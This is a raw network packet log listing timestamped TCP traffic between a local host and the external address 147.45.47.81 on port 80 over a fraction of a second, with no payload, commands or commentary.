Oct 30, 2024 15:44:45.945636034 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.945642948 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.945655107 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.945657969 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.945668936 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.945674896 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.945681095 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.945704937 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.946275949 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.946286917 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.946299076 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.946319103 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.946347952 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.946408987 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.946422100 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.946432114 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.946451902 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.946458101 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.946464062 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.946474075 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.946485043 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.946494102 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.946497917 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.946527004 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.946542025 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.957529068 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.957540035 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.957552910 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.957576990 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.957588911 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.957601070 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.957612038 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.957633972 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.957649946 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.957659960 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.957672119 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.957683086 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.957694054 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.957709074 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.957731962 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.957736969 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.957747936 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.957757950 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.957781076 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.957782030 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.957793951 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.957804918 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.957818985 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.957828999 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.957848072 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.957895041 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.957906961 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.957916975 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.957927942 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.957932949 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.957941055 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.957953930 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.957956076 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.957964897 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.957977057 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.957981110 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.957989931 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.957999945 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.958003044 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.958017111 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.958040953 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.958061934 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.958091021 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.958101988 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.958112001 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.958123922 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.958132982 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.958137035 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.958149910 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.958158016 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.958184958 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.958237886 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.958254099 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.958266020 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.958280087 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.958290100 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.958292007 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.958303928 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.958317041 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.958322048 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.958328962 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.958337069 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.958339930 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.958355904 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.958367109 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.958369017 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.958379984 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.958391905 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.958405018 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.958408117 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.958420038 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.958431959 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.958432913 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.958445072 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.958455086 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.958456993 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.958473921 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.958486080 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.958498001 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.958498001 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.958508015 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.958519936 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.958529949 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.958539009 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.958542109 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.958554029 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.958556890 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.958566904 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.958579063 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.958583117 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.958595037 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.958628893 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.958640099 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.958667040 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.958698988 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.958710909 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.958722115 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.958733082 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.958734989 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.958745003 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.958755970 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.958797932 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.958848953 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.958859921 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.958865881 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.958877087 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.958888054 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.958899021 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.958919048 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.958930969 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.958930969 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.958930969 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.958936930 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.958942890 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.958950043 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.958976984 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.959013939 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.959024906 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.959037066 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.959048033 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.959058046 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.959059000 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.959072113 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.959084988 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.959089994 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.959098101 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.959109068 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.959119081 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.959120035 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.959131956 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.959139109 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.959142923 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.959155083 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.959173918 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.959188938 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.959188938 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.959188938 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.959199905 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.959228039 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.959289074 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.959321976 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.959332943 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.959333897 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.959346056 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.959357023 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.959367990 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.959373951 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.959379911 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.959391117 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.959397078 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.959403038 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.959408998 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.959414959 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.959427118 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.959438086 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.959439039 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.959476948 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.959875107 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.959896088 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.959908962 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.959937096 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.959948063 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.959948063 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.959948063 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.959960938 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.959973097 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.960004091 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.960016012 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.960016012 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.960021973 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.960033894 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.960064888 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.960067987 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.960076094 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.960087061 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.960103035 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.960104942 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.960113049 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.960125923 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.960134029 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.960134029 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.960175037 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.961251020 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.961294889 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.961379051 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.961395979 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.961464882 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.961476088 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.961488962 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.961493969 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.961499929 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.961512089 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.961519003 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.961534977 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.961541891 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.961546898 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.961556911 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.961568117 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.961580038 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.961585999 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.961590052 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.961602926 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.961606026 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.961628914 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.961826086 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.962281942 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.962331057 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.962340117 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.962342024 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.962376118 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.962393999 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.962405920 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.962418079 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.962430000 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.962439060 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.962485075 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.962682009 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.963968039 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.963979959 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.963992119 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.964021921 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.964066029 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.964077950 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.964088917 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.964104891 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.964107990 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.964112043 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.964118004 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.964124918 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.964302063 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.964437962 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.964540958 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.964553118 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.964564085 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.964576006 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.964582920 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.964587927 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.964601040 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.964610100 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.964632034 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.965445042 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.965456963 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.965467930 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.965492010 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.965512037 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.965524912 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.965536118 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.965553999 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.965559959 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.965616941 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.967137098 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.967191935 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.967204094 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.967259884 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.967262030 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.967271090 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.967278004 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.967283964 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.967305899 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.967323065 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.967330933 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.967330933 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.967396021 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.967398882 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.967458010 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.967468977 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.967489004 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.967495918 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.967499018 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.967509985 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.967526913 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.967529058 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.967564106 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.969515085 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.969564915 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.969579935 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.969590902 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.969603062 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.969614983 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.969623089 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.969626904 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.969667912 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.969681978 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.969692945 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.969703913 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.969715118 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.969717979 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.969727039 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.969739914 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.969748974 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.969764948 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.969767094 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.969780922 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.969795942 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.969803095 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.969806910 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.969819069 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.969829082 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.969835997 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.969849110 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.969861984 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.969877005 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.969882965 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.969882965 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.969888926 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.969899893 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.969913006 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.969923019 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.969924927 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.969949961 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.970292091 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.970303059 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.970314026 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.970323086 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.970325947 CET	80	49995	147.45.47.81	192.168.2.6
